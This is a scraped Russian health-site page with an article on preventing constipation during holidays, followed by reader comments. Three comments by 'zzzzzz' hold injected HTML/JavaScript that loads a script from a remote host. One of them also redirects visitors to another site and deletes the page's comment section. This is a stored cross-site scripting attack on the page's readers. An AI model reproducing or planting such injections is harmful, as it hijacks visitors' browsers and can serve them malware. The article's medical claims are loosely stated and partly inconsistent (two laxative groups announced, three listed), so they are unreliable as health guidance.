Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Как провести отпуск без з...  >>  Как провести отпуск без запора?
 
Обратная связь
 

Как провести отпуск без запора?

Размер шрифта
06 августа 2013 00:00
  • google_analytics: false
  • Нравится

Запор никогда не бывает вовремя! Он может просто испортить отпуск, а может быть признаком страшных заболеваний.

Как провести отпуск без запора?

Когда можно сказать, что у вас запор

Нормальное количество походов в туалет по-большому от 3 раз в сутки до 3 раз в неделю. Если вы ходите реже – у вас запор!

Для запора характерны:

  • малое количество кала;
  • повышенная его твердость и сухость;
  • меньше, чем три дефекации в неделю;
  • отсутствие чувства полного опорожнения кишечника после дефекации.

Наличие даже одного из перечисленных признаков свидетельствует о запоре. Изменение привычных для данного человека частоты и ритма стула дефекаций – также важный признак запора.

Когда запор является призаком болезни

«Острый запор», внезапное прекращение дефекации в течение нескольких суток подряд, является признаком острой кишечной непроходимости. Парально с этим вы можете чувствовать вздутие и боли в области живота, тошноту, отсутствие аппетита. Чаще всего причиной непроходимости является опухоль кишечника.

До симптомов кишечной непроходимости признаками опухоли могут быть кровь в стуле, тошнота, выраженное снижение массы тела и другие.

Как обследоваться

Первым делом выясняется вопрос о том, является ли запор хроническим или острым. В первом случае назначается вспомогательное (например, медикаментозное) лечение. Во втором – решается вопрос о проведении дополнительных исследований (рентген с применением контрастного препарата или же колоноскопия). При остром запоре вам может быть показана операция.

Что делать, чтобы избежать запора в отпуске?

Основные причины запора в отпуске:

  • длительное нахождение в дороге, то есть низкая физическая активность. Когда ваши мышцы не работают, то и кишечник начинает работать медленнее;
  • малое потребление жидкости. Жидкость увеличивает объем содержимого кишечника и просто проталкивает его наружу.
  • злоупотребление кофеином или алкоголем. Кофеин и алкоголь выводят всю жидкость из организма, делая кал твердым и сухим.
  • неправильная еда, содержащая мало клетчатки

Особенно следует обратить внимание на последний пункт. Многие путешественники не задумываются о том, какую еду нужно брать с собой в дорогу, поэтому едят все, что попало – сладости, сыр, чипсы, продукты быстрого приготовления. Все перечисленное содержит ничтожно малое количество клетчатки и других пищевых волокон, которые стимулируют деятельность кишечника.

Медикаментозное решение

Если вы знаете, что проблема запоров никуда от вас не денется, то заранее посоветуйтесь с врачом и подготовьтесь к поездке, взяв с собой слабительные средства.

Все слабительные средства можно разделить на 2 группы:

1. средства, увеличивающие объем содержимого кишечника. Эти препараты тормозят обратное всасывание воды в кишечнике. С водой каловые массы выходят на ура!

2. средства, усиливающие перистальтику кишечника (нельзя принимать при острых запорах!).

3. Обратите внимание на препарат с экстрактом сенны – популярное и эффективное слабительное средство. Однако при применении в течение более двух недель он вызывает привыкание, повышается риск воспалительных заболеваний кишечника.

Именно поэтому прием слабительных средств должен строго контролироваться врачом.

Так что отдыхайте на здоровье! И без запоров!

Также вы можете ознакомиться с сюжетом передачи «Жить здорово» «В отпуск – без запора. Путешествуем налегке».

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

04 октября 2014 в 19:13

Цитировать   |   Пожаловаться

Отличная статья. 

Я всегда беру с собой в поездки свечи  и если начинаются проблемы со стулом, они меня всегда выручают.

2 - Гость

12 октября 2014 в 11:30

Цитировать   |   Пожаловаться

Для меня проблемы со стулом во время отпуска это была очень частая проблема, но теперь всегда беру с собой свечи из экстракта сухого конского каштана и больше таких проблем не возникает.

3 - zzzzzz

30 июня 2015 в 19:08

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

4 - zzzzzz

30 июня 2015 в 19:29

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

5 - zzzzzz

30 июня 2015 в 23:08

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Продукты, вызывающие запор   Вибратор против запора?! Правда или нет?   Как выспаться ВСЕГО за 20 минут   Какой напиток лучший для сосудов?!  
01 ноября 2013ИНВИТРО – «Марка №1» в России 21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт»
 
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 03 октября 2013Результаты благотворительного марафона «Всем миром»
 

Слайдшоу

1
Как не описаться
Как похудеть, ничего не делая
Можно ли взбодриться без кофе?

Тесты

1
Кофеин вызывает зависимость?
Будет ли у вас инфаркт?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.